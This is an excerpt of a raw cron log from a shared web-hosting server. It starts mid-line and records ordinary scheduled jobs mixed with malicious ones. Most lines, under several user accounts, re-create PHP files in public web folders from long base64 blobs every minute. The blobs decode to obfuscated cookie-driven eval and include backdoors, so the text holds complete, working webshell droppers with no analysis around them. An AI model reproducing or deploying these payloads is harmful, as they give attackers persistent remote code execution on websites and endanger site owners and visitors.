vc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:22:01 medusa CROND[9660]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:22:01 medusa CROND[9661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:22:01 medusa CROND[9663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:22:01 medusa CROND[9665]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:22:01 medusa CROND[9666]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:22:01 medusa CROND[9667]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:22:01 medusa CROND[9671]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:22:01 medusa CROND[9672]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:22:01 medusa CROND[9675]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:22:01 medusa CROND[9676]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:22:01 medusa CROND[9677]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:22:01 medusa CROND[9687]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:23:01 medusa CROND[567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:23:01 medusa CROND[589]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:23:01 medusa CROND[647]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:23:01 medusa CROND[650]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:23:01 medusa CROND[651]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:23:01 medusa CROND[653]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:23:01 medusa CROND[655]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:23:01 medusa CROND[649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:23:01 medusa CROND[658]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:23:01 medusa CROND[660]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:23:01 medusa CROND[661]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:23:01 medusa CROND[667]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:24:01 medusa CROND[24591]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:24:01 medusa CROND[24711]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:24:01 medusa CROND[24712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:24:01 medusa CROND[24714]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:24:01 medusa CROND[24717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:24:01 medusa CROND[24718]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:24:01 medusa CROND[24719]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
